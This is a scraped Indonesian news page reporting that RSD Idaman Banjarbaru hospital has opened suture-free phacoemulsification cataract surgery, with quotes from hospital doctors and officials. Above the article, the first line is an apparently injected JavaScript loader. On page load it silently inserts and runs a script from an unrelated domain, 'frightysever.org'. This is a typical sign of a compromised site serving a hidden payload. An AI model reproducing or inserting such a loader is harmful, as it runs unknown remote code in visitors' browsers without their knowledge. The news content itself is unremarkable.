(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Teknik Operasi Katarak Modern Phacoemulsifikasi Dibuka di RSD Idaman Banjarbaru!


KANALKALIMANTAN.COM, BANJARBARU – Wacana manajemen Rumah Sakit Daerah (RSD) Idaman Kota Banjarbaru untuk menghadirkan alat bedah katarak yang modern akhirnya telah terwujud. Layanan operasi katarak tanpa jahitan atau disebut sebagai teknik Phacoemulsifikasi, resmi dibuka di rumah sakit milik pemerintah tersebut.

Seperti yang diketahui katarak adalah suatu penyakit yang ditunjukan melalui perubahan warna pada lensa mata yang menjadi keruh dan berawan. Pada umumnya katarak berkembang perlahan dan awalnya tidak terasa mengganggu. Namun, jika terus dibiarkan maka akan berdampak buruk pada penglihatan hingga akhirnya menyebabkan kebutaan.

Di dunia medis, katarak disebut sebagai penyebab kebutaan utama di dunia yang dapat diobati. Penyebab dan faktor risiko terjadinya katarak umumnya berhubungan dengan pertambahan usia, paparan ultraviolet, riwayat penyakit diabetes mellitus (DM), penggunaan obat-obat steroid, riwayat kecelakaan pada mata, ataupun riwayat operasi mata sebelumnya.

Awalnya teknik operasi katarak yang dikenal masyarakat ialah dengan cara manual dan dilakukannya jahitan di area lensa mata. Namun dengan seiring berjalannya waktu, teknik operasi katarak saat ini telah dikembangkan dengan didukung sebuah alat canggih berupa mesin bergelombang ultrasonik.

 

Baca juga  : Ini Nama-nama Calon Pejabat Pemkab Banjar yang Lulus Seleksi Akhir

Direktur RSD Idaman Kota Banjarbaru, Dokter Danny Indrawardhana, MMRS, melalui Kasi Sarana dan Prasarana Medik, Harun Arrasyid, mengungkapkan bahwa pihaknya telah menghadirkan alat canggih tersebut lewat rancangan anggaran tahun 2022. Pun diakuinya pengadaan alat kesehatan ini memang telah dibidik sejak tahun lalu sebagaimana arahan Wali Kota Banjarbaru, Aditya Mufti Ariffin.

“Penting kami rasa untuk selalu mengembangkan sarana prasarana yang ada di RSD Idaman Banjarbaru. Salah satunya mendatangkan alat canggih untuk operasi katarak. Dan Alhamdulillah, berkat dukungan bapak Walikota dan bapak Direktur RSD Idaman, alat ini sudah kita miliki dan bisa dipergunakan untuk pengobatan masyarakat,” katanya, Jumat (2/9/2022).

Secara teknis, Dokter Hadijah, Sp.M selaku dokter spesial mata di RSD Idaman Banjarbaru menjelaskan dengan teknik Phacoemulsifikasi katarak akan dihancurkan menjadi fragmen kecil melalui getaran ultrasonik dan lensa diaspirasi dari dalam bola mata. Kemudian, lensa katarak yang sudah dibersihkan diganti dengan lensa jernih buatan yang didesain dengan sangat baik, serta dapat digunakan seumur hidup.

“Nah setelah operasi, pasien tidak perlu lagi rawat inap lanjutan, bisa langsung pulang. Kalau dibandingkan teknik operasi yang dulu akan sangat banyak perbedaannya. Dengan teknik Phacoemulsifikasi, sayatan sangat kecil, waktu tindakan operasi pun lebih cepat dan tentunya yang sangat jelas bedanya ialah tanpa jahitan,” terangnya.

 

Baca juga  : Tabligh Akbar UAS, Jejak Syekh Arsyad Al Banjari dalam Mencari Ilmu Perlu Diteladani  

Senada, Dokter Helen Nguda Sp.M yang juga dokter spesialis mata menyebut dengan adanya mesin Phacoemulsifikasi diharapkan menunjang efektifitas dan efisiensi pada layanan operasi katarak.

“Dengan irisan atau sayat yang lebih kecil diharapkan bisa menurunkan angka endof atau infeksi pasca operasi. Selain itu penyembuhan bisa lebih cepat,” terangnya.

Sementara itu, Kabid Pelayanan Medik RSD Idaman Banjarbaru, Dokter Siti mengatakan bahwa layanan operasi katarak mata dibuka setiap hari kerja. Secara prosedur, lanjutnya masyarakat dapat mendaftar ke poli mata untuk selanjutnya menjalani pemeriksaan dan akan diputuskan apakah perlu tindakan operasi.

“Jika perlu tindakan operasi Phacoemulsifikasi, maka segera akan dijadwalkan. Setelah jadwal ditentukan, pasien diminta untuk datang ke poli mata untuk persiapan. Kemudian di antar ke kamar operasi, stabilisasi dan jika sudah selesai pasien diperbolehkan langsung pulang dengan catatan tidak ada penyulut misal hipertensi atau DM,” tuntasnya. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Jaya Dekati PAN, Upaya Mengulang Koalisi di Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Amanat Nasional (PAN) Kota Banjarbaru kedatangan Darmawan Jaya Setiawan, kader… Read More

4 jam ago

Lima Rumah Terbakar di Pekapuran Laut, Motor Matic Ikut Hangus

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Pekapuran B Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin dibuat geger… Read More

5 jam ago

Naik Kano di Danau Seran Banjarbaru, Rekomendasi View Spot Foto Estetik

KANALKALIMANTAN.COM, BANJARBARU - Pencinta wisata alam wajib menjajal objek wisata satu ini, yaitu wahana kano… Read More

8 jam ago

Pasangan Calon Belum Pasti, Aditya: Titik Akhirnya SK Partai

KANALKALIMANTAN.COM, BANJARBARU – Aditya Mufti Ariffin menyerahkan formulir pendaftaran sebagai bakal calon (bacalon) Wali Kota… Read More

11 jam ago

Masruri Lepas 25 JCH Kabupaten Banjar yang Tergabung dalam Kloter 10

KANALKALIMANTAN.COM, MARTAPURA - Mewakili Bupati Banjar H Saidi Mansyur, Asisten Pemerintahan dan Kesra H Masruri… Read More

11 jam ago

Tingkatkan Kinerja dan Pelayanan Publik, Pemkab Banjar Audiensi ke Kementerian PAN RB

KANALKALIMANTAN.COM, JAKARTA - Pemerintah Kabupaten Banjar melaksanakan audiensi dengan Asisten Deputi Koordinasi Pelaksanaan Kebijakan dan… Read More

11 jam ago

This website uses cookies.